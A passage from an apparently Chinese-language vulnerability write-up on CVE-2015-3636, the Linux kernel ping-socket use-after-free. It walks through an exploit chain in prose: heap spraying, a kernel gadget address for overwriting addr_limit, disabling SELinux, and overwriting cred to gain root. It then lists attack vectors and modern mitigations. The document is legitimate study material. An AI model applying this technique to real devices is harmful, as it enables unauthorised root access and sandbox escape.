isk->inet_num = 0;
isk->inet_sport = 0;
sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
write_unlock_bh(&ping_table.lock);
}
}

在poc中,调用一次AF_INET再调用两次AF_UNSPEC就会发生错误的free从而导致panic。

4. 利用思路

1. 利用条件
1
2
3
4
配置:
内核版本处于受影响区间(3.0 - 4.0.x)。
内核必须开启 CONFIG_IP_ICMP`(默认开启),允许创建 AF_INET, SOCK_DGRAM, IPPROTO_ICMP 类型的 Socket。
用户必须有权创建 Ping Socket。
2. 利用过程

exp分析

阶段一:堆喷与内存重构

第一步:修改进程资源数上限

1
maximize_fd_limit()函数用于修改进程可以使用的资源数,通常是将限制数由软限制修改为硬限制。

第二步:批量创建socket

1
2
创建大量connect
主要的目的是占据一块完整的内存空间,使内存更加平整,便于利用。

第三步:在低地址区开辟内存

1
2
3
4
mmap部分在起始地址为4096的部分开辟了内存页。
需要对mmap_min_addr作出修改(一般需要root权限,可能在当时版本没有这么严格的限制)
mmap映射出可用内存之后,在poc中panic的地址就不会发生崩溃,因为不是空指针了。
而后再将所有内存都存入nop指令(0x90),便于执行payload(NOP 滑块)

第四步:将第二步中创建的所有socket都free两次。

1
2
两次 connect 不是在释放 Socket 文件描述符,而是在释放内核里的 Socket 结构体对象。
释放之后我们仍然拥有指向内存的fd。

第五步:进行堆喷射。

1
2
向操作系统请求大量内存,以求覆盖socket释放的部分。
把大块内存按 4KB (PAGE_SIZE) 分割,用 memset 强制内核分配真实的物理内存,在 +0x1D8 位置写入指纹(MAGIC_VALUE + 页数)。把这个页面的地址存入数组。

第六步:在第五步请求的大量内存中,寻找跟socket重合的部分。

1
2
search_exploitable_socket函数中,通过时间戳配置,读取socket特定位置的值(即第五步中的指纹),与第五步请求得到的页进行匹配,最终寻找到可以控制的socket。
返回socket的句柄和页地址。
阶段二:利用 Gadget 突破 addr_limit

第七步:修改addr_limit

1
2
3
4
一般来说用户态是不能修改内核态的空间的,但是通过修改addr_limit就可以做到这一点
调用的起始点在exp_sock的close函数,close函数对应的是存储在0x28偏移位置的指针,将0x28偏移指向了payload的起始地址,payload的起始地址又指向一个gadget(0xFFFFFFC00035D788),
因此实际上exp_sock的close函数是执行了gadget部分。
gadget会将addr_limit短暂地修改为整个地址空间,然后再修改回去,但是通过修改0x68处的地址,可以绕过恢复部分的代码。

第八步:去除内核保护

1
2
3
4
5
6
将mmap_min_addr修改为0
注意在修改的时候是使用的管道(pipe)进行间接修改,避免触发硬件的保护。(如直接使用memcpy等函数)

在NULL地址处进行映射,注意此处的mmap函数有一个MAP_FIXED参数表示强制在NULL地址,而不是任意空闲地址了。

关闭selinux
阶段三:内核数据结构篡改

第九步:泄露task_struct地址

1
2
3
4
内核态执行 close() 系统调用时,SP 指向的是该进程的内核栈空间。内核栈不仅用于存储局部变量,它的位置与进程的基础描述符有严格的对齐关系。
在 AArch64 Linux 内核中,每个进程的 thread_info 结构体通常位于其内核栈的底部(低地址端)。由于内核栈是 16KB 对齐的,通过屏蔽低 14 位位偏移,X2 精准指向了当前进程的 struct thread_info。
在当时的内核版本中,thread_info 的偏移 0x10 处存放的是 task 指针,指向该进程的struct task_struct
把 task_struct 的内核地址直接写到用户态进程的虚拟地址 0x0000000000000018 处

第十步:提权,修改cred结构体

1
2
获得task_struct的地址之后,可以得到cred结构体的地址,修改cred结构体中的权限相关参数,即可将权限由shell提权到root。
提权之后还需要修改一些值防止程序崩溃了。
3. 攻击向量

该漏洞可能存在的攻击向量

攻击向量主要集中在本地权限提升:

1
2
3
4
Android 恶意应用: 这是该漏洞最著名的攻击向量。由于 Android 早期版本对 Ping Socket 权限限制较松,恶意 App 可以通过此漏洞直接获取 Root 权限,绕过应用沙盒,窃取隐私数据或控制底层硬件。
容器逃逸 (Container Escape): 如果容器内的用户拥有 CAP_NET_RAW 权限或处于允许使用 Ping 的组,且宿主机内核存在此漏洞,攻击者可以从普通容器用户提升至宿主机内核权限,从而实现逃逸。
本地普通用户提权: 在多用户 Linux 服务器上,普通用户利用此漏洞可以成为超级用户。
结合浏览器漏洞的沙箱逃逸: 在某些复杂的攻击链中,黑客先通过浏览器漏洞(如 Chrome/Firefox)获取渲染进程权限,再利用此内核漏洞突破系统沙盒(Sandboxing)。

四、现代防护

随着内核版本的提升,该 EXP 使用的底层路径已被彻底封死:

1
2
3
4
5
移除addr_limit机制:现代内核(如 5.10+)已经彻底废弃了 addr_limit,攻击者无法再通过修改一个简单的标志位来获得全空间的读写权限。

mmap_min_addr限制:现在的Android系统默认禁止普通用户在低地址,如0x0映射内存,使得本漏洞利用中依赖空指针解引用变为合法访问的技巧失效。

struct cred保护:部分加固内核将cred结构体放入只读内存或通过特殊的对齐检查来防止被非法篡改。

五、参考文献

文章的参考文献或个人博客。

1
2
3
4
5
6
7
https://bbs.kanxue.com/thread-230298-1.htm

https://n1rv0us.github.io/2022/08/17/CVE-2015-3636%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%86%E6%9E%90/

https://blingblingxuanxuan.github.io/2022/09/21/cve-2015-3636-52pojie-version/#%E7%9F%A5%E8%AF%86%E7%82%B9%E8%A1%A5%E5%85%85

https://cn-sec.com/archives/4200546.html